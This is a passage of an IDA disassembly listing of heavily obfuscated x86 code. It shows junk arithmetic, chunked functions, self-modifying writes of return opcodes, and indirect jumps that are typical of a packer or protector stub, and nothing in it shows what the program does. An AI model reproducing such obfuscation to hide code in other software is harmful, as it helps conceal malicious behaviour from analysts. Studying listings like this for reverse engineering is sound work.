loc_74560F:				; CODE XREF: sub_7571A1:loc_74FC6Ej
		add	ebx, 0D9DCC091h
		test	ebx, 800000h
		jmp	loc_7451C1
; END OF FUNCTION CHUNK	FOR sub_7571A1

; =============== S U B	R O U T	I N E =======================================



sub_745620	proc near		; CODE XREF: _0z4jwtox:0074CCD8j
					; sub_748723+6EB4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00752AF8 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_74A96E
		mov	eax, [esp-4+arg_0]
		call	sub_746CF0
		jmp	loc_752AF8
sub_745620	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_745636:				; CODE XREF: _0z4jwtox:0074552Dj
		lea	eax, loc_753727
		mov	byte ptr [eax],	0C3h
		jmp	loc_7574B3

; =============== S U B	R O U T	I N E =======================================



sub_745644	proc near		; CODE XREF: sub_41C6BF+2Cp
					; _0z4jwtox:00748EA3j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007474A4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00754264 SIZE 00000005 BYTES

		push	edi
		push	0C9286DFDh
		jmp	loc_7474A4
sub_745644	endp


; =============== S U B	R O U T	I N E =======================================



sub_74564F	proc near		; CODE XREF: sub_74CBCF-6E93j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007468C9 SIZE 00000001 BYTES

		push	ebp
		push	edx
		pop	ebp
		xchg	ebp, [esp+4+var_4]
		jmp	loc_7468C9
sub_74564F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752DF2


loc_74565A:				; CODE XREF: sub_752DF2+12j
		cmp	al, 0A4h
		jz	loc_745F4F
		jmp	loc_746EF0
; END OF FUNCTION CHUNK	FOR sub_752DF2
; ---------------------------------------------------------------------------


loc_745667:				; CODE XREF: _0z4jwtox:007473BCj
		xchg	ebx, [edx]


loc_745669:				; CODE XREF: _0z4jwtox:loc_7465B7j
		mov	eax, [esp]
		push	ebx
		mov	ebx, edi
		xchg	ebx, [esp]
		push	3CD66A19h
		xchg	ecx, [esp]
		jmp	loc_748F21
; ---------------------------------------------------------------------------


loc_74567F:				; CODE XREF: _0z4jwtox:00753014j
		and	esi, 0D29D1F44h

; =============== S U B	R O U T	I N E =======================================



sub_745685	proc near		; CODE XREF: _0z4jwtox:0074B6C8p

arg_4		= dword	ptr  8

		xchg	eax, [esp+0]
		pop	eax
		call	sub_752E0F
		pop	edx
		xchg	ebx, [esp-8+arg_4]
		jmp	sub_74BC73
sub_745685	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_745697	proc near		; CODE XREF: _0z4jwtox:007549C9j
					; sub_74F69D:loc_756C26p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074E4D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755E95 SIZE 0000000E BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	26936AEDh
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		or	eax, 2FDF8808h
		jmp	loc_74E4D6
sub_745697	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_7456B1:				; CODE XREF: sub_74D782-39ECj
		jz	loc_74AF23
; END OF FUNCTION CHUNK	FOR sub_74D782
; START	OF FUNCTION CHUNK FOR sub_745C55


loc_7456B7:				; CODE XREF: sub_74D782-4103j
					; sub_745C55:loc_755731j
		rol	eax, 6
		add	eax, 358A703Ch
		add	eax, ebp
		add	eax, 0E088B145h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7539C5
		jmp	loc_745D7C
; END OF FUNCTION CHUNK	FOR sub_745C55
; ---------------------------------------------------------------------------
		test	ecx, 0CA46283Eh
		jmp	loc_746550
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746556


loc_7456E3:				; CODE XREF: sub_746556+BE8j
		push	offset loc_74B457
		jmp	nullsub_93
; END OF FUNCTION CHUNK	FOR sub_746556
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7456EE:				; CODE XREF: _0z4jwtox:loc_75034Dj
		jnz	loc_747535
		jmp	loc_750A8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754DFF


loc_7456F9:				; CODE XREF: sub_754DFF+6j
		call	sub_74FACE
		push	349A6C96h
		pop	eax
		xor	eax, 0C71635D4h
		jmp	loc_746929
; END OF FUNCTION CHUNK	FOR sub_754DFF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_745710:				; CODE XREF: sub_7501AF-9463j
		jmp	loc_7486F9
; END OF FUNCTION CHUNK	FOR sub_7501AF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_745715	proc near		; CODE XREF: sub_74C874-63AEp
					; _0z4jwtox:007480D9p ...

; FUNCTION CHUNK AT 0074BE0E SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset loc_7557BE
		jmp	loc_74BE0E
sub_745715	endp

; ---------------------------------------------------------------------------


loc_745724:				; CODE XREF: _0z4jwtox:0074B7B6j
		sub	edx, 1DD2B4A8h
		and	edx, 9AFDC642h
		add	edx, 3DD71132h
		add	edx, ebp
		jmp	loc_746472
; ---------------------------------------------------------------------------
		sbb	edx, 0B065FB50h
		not	edx
		jmp	sub_75644F
; ---------------------------------------------------------------------------
		cmp	edi, 6EBDC65Fh
		jmp	loc_74E9A7
; ---------------------------------------------------------------------------


loc_745755:				; DATA XREF: sub_747C22+7B36o
		rol	eax, 15h
		sub	eax, 71513C30h
		rol	eax, 1Fh
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_745761:				; CODE XREF: sub_74946E+9CFj
		mov	ds:dword_752DAC, eax


loc_745767:				; CODE XREF: sub_74946E+Ej
					; sub_74946E+9DCj
		ror	eax, 1Fh
		sub	eax, 8EAEC3D0h
		jb	loc_7458CE
		push	offset sub_74E40A
		jmp	sub_757269
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------


loc_745780:				; CODE XREF: _0z4jwtox:0074CEEAj
		and	edi, 3F95A131h
		add	edi, 0C874A925h
		xchg	edi, [esp]
		jmp	loc_749D5C
; ---------------------------------------------------------------------------


loc_745794:				; CODE XREF: _0z4jwtox:loc_74BAFAj
		sub	eax, 91FDB437h
		xor	eax, 0A69489E1h
		push	edi
		pushf
		push	0EA8DA9B4h
		pop	edi
		add	edi, 0C46EFB14h
		jmp	loc_75281F

; =============== S U B	R O U T	I N E =======================================



sub_7457B3	proc near		; CODE XREF: _0z4jwtox:00745942j
					; _0z4jwtox:00749CB7p

; FUNCTION CHUNK AT 00748FBC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00749F02 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0E7D0E25h
		pop	eax
		rol	eax, 7
		jmp	loc_749F02
sub_7457B3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7457C5:				; CODE XREF: _0z4jwtox:0074F6B5j
		js	sub_74E58E

; =============== S U B	R O U T	I N E =======================================



sub_7457CB	proc near		; CODE XREF: sub_7500C5+10p

; FUNCTION CHUNK AT 0074E5A4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074FD2A SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax-10h]
		jmp	loc_74FD2A
sub_7457CB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7457D7:				; CODE XREF: _0z4jwtox:00750DE5j
		jle	loc_747E8E

; =============== S U B	R O U T	I N E =======================================



sub_7457DD	proc near		; CODE XREF: sub_747C39-27C3p

; FUNCTION CHUNK AT 00748221 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074A231 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074BA24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750040 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00750C69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007515CD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00752074 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00755704 SIZE 00000012 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	edx, 78883B31h
		jmp	loc_74A231
sub_7457DD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_7457EC:				; CODE XREF: sub_746640+BCB2j
		pop	ecx
		push	offset sub_74DA3D
		jmp	loc_750BDB
; END OF FUNCTION CHUNK	FOR sub_746640
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ED5F


loc_7457F8:				; CODE XREF: sub_74ED5F+Ej
		jmp	loc_7532F9
; END OF FUNCTION CHUNK	FOR sub_74ED5F
; ---------------------------------------------------------------------------


loc_7457FD:				; CODE XREF: _0z4jwtox:0074B505j
		jmp	loc_746E60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AF9C


loc_745802:				; CODE XREF: sub_74AF9C+15j
		jmp	loc_74866C
; END OF FUNCTION CHUNK	FOR sub_74AF9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748773


loc_745807:				; CODE XREF: sub_748773+8j
		jmp	loc_74CDA6
; END OF FUNCTION CHUNK	FOR sub_748773
; ---------------------------------------------------------------------------
		push	ebp
		sub	ebx, edi
		jmp	sub_74B3EB
; ---------------------------------------------------------------------------
		mov	ds:off_41F084, eax
		lea	eax, loc_7500EF
		mov	byte ptr [eax],	0C3h
		jmp	loc_7500EF

; =============== S U B	R O U T	I N E =======================================



sub_745828	proc near		; CODE XREF: sub_40517E+20Dp
					; sub_40517E+5ECp ...
		call	sub_74C874
		jmp	ds:off_41F088
sub_745828	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752E0F


loc_745833:				; CODE XREF: sub_752E0F+3j
		jmp	loc_74C119
; END OF FUNCTION CHUNK	FOR sub_752E0F
; ---------------------------------------------------------------------------

locret_745838:				; CODE XREF: _0z4jwtox:0074CDD7j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D21E


loc_745839:				; CODE XREF: sub_74D21E+96B5j
		jmp	loc_74A78D
; END OF FUNCTION CHUNK	FOR sub_74D21E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_74583E:				; CODE XREF: sub_748B52+1768j
		jmp	loc_748F3E
; END OF FUNCTION CHUNK	FOR sub_748B52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_745843:				; CODE XREF: sub_745911:loc_750968j
		jz	loc_747CF4
		jmp	loc_748973
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74584E:				; CODE XREF: sub_7501AF+1E07j
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		call	sub_74A094


loc_74585C:				; CODE XREF: sub_755148-4E51j
		jmp	loc_745CDB
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_745861:				; CODE XREF: sub_74946E-266Fj
		jmp	loc_74D52B
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_745866:				; CODE XREF: sub_755C38:loc_7502A6j
		jnz	loc_746524
; END OF FUNCTION CHUNK	FOR sub_755C38
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_74586C:				; CODE XREF: sub_746E37+F8DDj
		jmp	loc_74515D
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------
		push	23B28D69h
		jmp	loc_74651E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74587C:				; CODE XREF: sub_7501AF+5D45j
		jmp	loc_74FAC5
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7500AE


loc_745881:				; CODE XREF: sub_7500AE+6j
		jmp	loc_748E34
; END OF FUNCTION CHUNK	FOR sub_7500AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_745886:				; CODE XREF: sub_747A94:loc_74697Aj
		xor	edi, 3E347A02h
		add	edx, edi
		pop	edi
		mov	edx, [edx]
		jmp	loc_7500A4
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------
		xchg	esi, [ebx]
		jmp	sub_756639
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750A01


loc_74589D:				; CODE XREF: sub_750A01-3562j
		shl	eax, 3
		mov	edx, [ebp+8]
		or	[edx-8], eax
; END OF FUNCTION CHUNK	FOR sub_750A01
; START	OF FUNCTION CHUNK FOR sub_747820


loc_7458A6:				; CODE XREF: sub_7570CA:loc_74A4D8j
					; sub_749608:loc_74C5D2j ...
		call	sub_74E451
; END OF FUNCTION CHUNK	FOR sub_747820
; START	OF FUNCTION CHUNK FOR sub_749306


loc_7458AB:				; CODE XREF: sub_749306+Dj
		jmp	loc_74D0FE
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755F42


loc_7458B0:				; CODE XREF: sub_755F42-3A2Fj
		lea	eax, sub_755F42
		mov	byte ptr [eax],	0C3h
		jmp	sub_755F42
; END OF FUNCTION CHUNK	FOR sub_755F42

; =============== S U B	R O U T	I N E =======================================



sub_7458BE	proc near		; CODE XREF: sub_414D55+6Cp
					; sub_41BFB2+38p ...
		push	edx
		call	sub_757151


loc_7458C4:				; CODE XREF: sub_74AF9C:loc_752D24j
		nop
		mov	eax, [esp+0]
		call	sub_746CF0
		retn
sub_7458BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_7458CE:				; CODE XREF: sub_74946E-3CFEj
		ror	eax, 15h
		xor	eax, 8A633C61h
		ror	eax, 2
		jmp	loc_7490B9
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7452F3


loc_7458DF:				; CODE XREF: sub_7452F3+1293j
		sub	ebp, edi
		sub	esi, eax
		xor	eax, 59206329h
		sub	ebp, ebx
		jmp	loc_74A39E
; END OF FUNCTION CHUNK	FOR sub_7452F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_7458F0:				; CODE XREF: sub_747AEC+A392j
		sub	esi, 108BBE1Bh
		jmp	loc_74F821
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_7458FB:				; CODE XREF: sub_74A71A:loc_74DEF9j
		jnz	loc_746AF3
		mov	eax, 6
		sub	eax, [ebp-4]
		mov	[ebp-4], eax
		jmp	loc_752404
; END OF FUNCTION CHUNK	FOR sub_74A71A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_745911	proc near		; CODE XREF: sub_749B76-24F1p
					; sub_749B76-36Bp

var_5		= byte ptr -5
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745843 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007460AB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00747CE0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00748154 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 007487FD SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00748973 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007489AA SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0074B51B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074BB71 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DB83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EC2E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 007500E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750183 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00750960 SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		jmp	loc_7460AB
sub_745911	endp

; ---------------------------------------------------------------------------


loc_74591F:				; CODE XREF: _0z4jwtox:00754096j
		sub	ecx, 0E3F662BBh
		jz	loc_749210
; START	OF FUNCTION CHUNK FOR sub_749980


loc_74592B:				; CODE XREF: sub_752D11:loc_74BEFEj
					; sub_749980+A705j
		rol	esi, 9
		xor	esi, 3A790355h
		add	esi, 0AE62B31Ch
		jmp	loc_756B98
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
		shl	ebx, 1Ah
		jmp	sub_7457B3
; ---------------------------------------------------------------------------


loc_745947:				; CODE XREF: _0z4jwtox:0075376Aj
		jnp	loc_752488

; =============== S U B	R O U T	I N E =======================================



sub_74594D	proc near		; CODE XREF: sub_74DA9D+6p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	edx, [esp-4+arg_0]
		jmp	sub_752E0F
sub_74594D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:off_41F070
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754779


loc_74595F:				; CODE XREF: sub_754779+7j
		jmp	loc_7500EF
; END OF FUNCTION CHUNK	FOR sub_754779
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514BF


loc_745964:				; CODE XREF: sub_7514BF-67F8j
		jmp	loc_752E8B
; END OF FUNCTION CHUNK	FOR sub_7514BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755E78


loc_745969:				; CODE XREF: sub_748D84:loc_74FBACj
					; sub_752FAC+9j ...
		call	sub_7502BA


loc_74596E:				; CODE XREF: _0z4jwtox:0074BABAj
		jmp	nullsub_167
; END OF FUNCTION CHUNK	FOR sub_755E78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_745973:				; CODE XREF: sub_74C874-63A4j
		jmp	loc_74C792
; END OF FUNCTION CHUNK	FOR sub_74C874

; =============== S U B	R O U T	I N E =======================================



sub_745978	proc near		; CODE XREF: _0z4jwtox:00745497j
					; _0z4jwtox:00755027p
		xchg	ebx, [esp+0]
		pop	ebx
		call	nullsub_1
		jmp	ds:dword_41F120
sub_745978	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		dd 0B65585h, 0E4DE900h,	0E9C30001h, 56Ch ; CODE	XREF: _0z4jwtox:loc_74A788j
					; _0z4jwtox:0074BDD3j
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_745998:				; CODE XREF: sub_747C22+194Fj
		xchg	edi, ecx
		sub	ebx, ebp
		jmp	loc_745292
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		adc	eax, edx


loc_7459A3:				; CODE XREF: _0z4jwtox:loc_74CDB7j
		xchg	edx, ebp
		jmp	sub_74A372
; ---------------------------------------------------------------------------


loc_7459AA:				; CODE XREF: _0z4jwtox:loc_752724j
		mov	byte ptr [eax],	0C3h
		jmp	loc_75748D

; =============== S U B	R O U T	I N E =======================================



sub_7459B2	proc near		; CODE XREF: sub_404D4C+8Bp
					; sub_4093C1+19Fp ...

var_4		= dword	ptr -4

		call	sub_755139


loc_7459B7:				; CODE XREF: sub_74A250+A648j
		jmp	sub_74E0EB
sub_7459B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_7459BC	proc near		; DATA XREF: _0z4jwtox:loc_752271o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00747656 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074DB88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F4AE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074FA6A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00753EF5 SIZE 00000006 BYTES

		xchg	edi, [esp+0]
		push	89A74FD9h
		xchg	eax, [esp+4+var_4]
		mov	ebx, eax
		pop	eax
		and	ebx, 0C79AF7DDh
		sub	ebx, 3670A362h
		xor	ebx, 36220531h
		jmp	loc_74DB88
sub_7459BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7459E1:				; DATA XREF: sub_745911:loc_747CE7o
		inc	dword ptr [ebp-4]
		jmp	loc_7460AB

; =============== S U B	R O U T	I N E =======================================



sub_7459E9	proc near		; CODE XREF: sub_747C22+7p

; FUNCTION CHUNK AT 00755753 SIZE 00000005 BYTES

		call	sub_746640
		push	offset sub_74953D
		jmp	loc_755753
sub_7459E9	endp

; ---------------------------------------------------------------------------

locret_7459F8:				; CODE XREF: _0z4jwtox:0074CA5Fj
		retn
; ---------------------------------------------------------------------------
		cmp	ds:dword_74B938, 0
		jnz	loc_746EE0
		jmp	loc_74FFE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA42


loc_745A0B:				; CODE XREF: sub_74BA42+Dj
		call	sub_756691
		mov	eax, 2D912001h
		push	offset sub_746D27
		jmp	nullsub_274
; END OF FUNCTION CHUNK	FOR sub_74BA42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_745A1F:				; CODE XREF: sub_747736+E9DDj
		sub	edx, 5EC7B93Ch
		xor	edx, 1E85C9B2h
		add	edx, 18520DDFh
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_19
		mov	byte ptr [eax],	0C3h
		jmp	loc_748320
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754729


loc_745A42:				; CODE XREF: sub_754729:loc_74803Fj
		call	sub_75422B
		mov	edx, [ebx+3Ch]
		mov	edx, [ebx+edx+80h]
		or	edx, edx
		jz	loc_754B5C


loc_745A59:				; CODE XREF: sub_74CF35-5C0Fj
					; _0z4jwtox:0074BEEDj
		push	offset loc_750811
		jmp	nullsub_133
; END OF FUNCTION CHUNK	FOR sub_754729

; =============== S U B	R O U T	I N E =======================================



sub_745A63	proc near		; CODE XREF: sub_41C591:loc_41C5E1p
					; sub_41C608:loc_41C65Bp ...
		call	sub_745A78
		jmp	ds:off_41F018
sub_745A63	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756691


loc_745A6E:				; CODE XREF: sub_756691+3j
		jmp	loc_75380B
; END OF FUNCTION CHUNK	FOR sub_756691
; ---------------------------------------------------------------------------


loc_745A73:				; CODE XREF: _0z4jwtox:0075434Aj
		jmp	locret_74F65A

; =============== S U B	R O U T	I N E =======================================



sub_745A78	proc near		; CODE XREF: sub_745A63p
					; sub_746145:loc_755720j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00746969 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748D12 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748ECD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749509 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007497C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00749CFE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E142 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752188 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 007523D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007526E9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753384 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007540D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075412A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007541EA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00754A16 SIZE 00000015 BYTES

		jz	loc_75412A
		pop	edx
		mov	eax, [esp-4+arg_0]
		jmp	loc_7541EA
sub_745A78	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_268. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_745A88:				; CODE XREF: _0z4jwtox:0074F11Ej
		jmp	loc_749AC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_745A8D:				; CODE XREF: sub_74C670-266Dj
		sub	eax, 0D3209CAEh
		jmp	loc_74AB8E
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7452F3


loc_745A98:				; CODE XREF: sub_7452F3:loc_74C5B5j
		mov	edx, [ecx]
		jmp	loc_74F43E
; END OF FUNCTION CHUNK	FOR sub_7452F3
; ---------------------------------------------------------------------------
		popf
		jmp	loc_747191
; ---------------------------------------------------------------------------
		mov	ds:off_41F0F0, eax
		push	offset sub_75497D
		jmp	loc_74B553
; ---------------------------------------------------------------------------


loc_745AB5:				; CODE XREF: _0z4jwtox:loc_75475Aj
		popf
		mov	ebp, [esi]
		jb	loc_74C8E8
; START	OF FUNCTION CHUNK FOR sub_74DE6C


loc_745ABE:				; CODE XREF: sub_74DE6C:loc_754741j
		and	edx, 0E6FB76C7h
		or	edx, 0D6BC55A6h
		add	edx, 977F65Eh
		jmp	loc_754805
; END OF FUNCTION CHUNK	FOR sub_74DE6C
; ---------------------------------------------------------------------------


loc_745AD5:				; CODE XREF: _0z4jwtox:007559A6j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_291
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, esi
		xchg	ecx, [esp]
		push	48F55DE5h
		pop	esi
		sub	esi, 28190B6Ch
		cmp	esi, 0F2460EE1h
; START	OF FUNCTION CHUNK FOR sub_75532F


loc_745AF5:				; CODE XREF: sub_75532F+4j
		jmp	loc_74CEC8
; END OF FUNCTION CHUNK	FOR sub_75532F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_745AFA:				; CODE XREF: sub_7561AB:loc_7561B0j
		mov	eax, [eax]
		cmp	byte ptr [eax],	2Eh
		jnz	loc_752765
		jmp	loc_756E4E
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
		and	eax, 205ECDC0h
		jmp	sub_749C95
; ---------------------------------------------------------------------------

locret_745B15:				; CODE XREF: _0z4jwtox:007467EFj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746ED2


loc_745B16:				; CODE XREF: sub_746ED2+19j
		jmp	loc_74DD88
; END OF FUNCTION CHUNK	FOR sub_746ED2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_745B1B:				; CODE XREF: sub_74A7D8-54C3j
		jmp	loc_753DD6
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753D0E


loc_745B20:				; CODE XREF: sub_753D0E:loc_75554Dj
		mov	esi, ecx
		call	sub_7468F2


loc_745B27:				; CODE XREF: sub_74D23E-6C8Cj
		jmp	loc_74A6CB
; END OF FUNCTION CHUNK	FOR sub_753D0E
; ---------------------------------------------------------------------------


loc_745B2C:				; DATA XREF: sub_74CA64+17EEo
		push	0C9598AA4h
		pop	eax
		rol	eax, 5
		xor	eax, 33D707A9h
		sub	eax, 0A22596CAh
		and	eax, 0D8DB80DEh
		xor	eax, 0FBE6E830h
		add	eax, ebp
		jmp	loc_74D007
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_745B54:				; CODE XREF: _0z4jwtox:00748E63j
					; sub_75364C:loc_7522A2j
		sub	eax, 5945955Eh
		xor	eax, 0EDC173E2h
		popf
		jo	loc_74ADB7
		shl	eax, cl
		jmp	loc_748AB7
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFF8


loc_745B6E:				; CODE XREF: sub_74BFF8-6DD5j
		jz	loc_74D3BD
; END OF FUNCTION CHUNK	FOR sub_74BFF8
; START	OF FUNCTION CHUNK FOR sub_747736


loc_745B74:				; CODE XREF: sub_747736+6504j
		jmp	loc_749EAA
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
		xor	edx, edi
		mov	ecx, [edi]
		jmp	loc_74D3B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_745B82:				; CODE XREF: sub_747AEC:loc_750837j
		mov	[ecx], ebp
		pushf
		add	ebp, ecx
		jmp	loc_74B20D
; END OF FUNCTION CHUNK	FOR sub_747AEC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	byte ptr [eax+10h], 0
		add	[edx-75h], bl
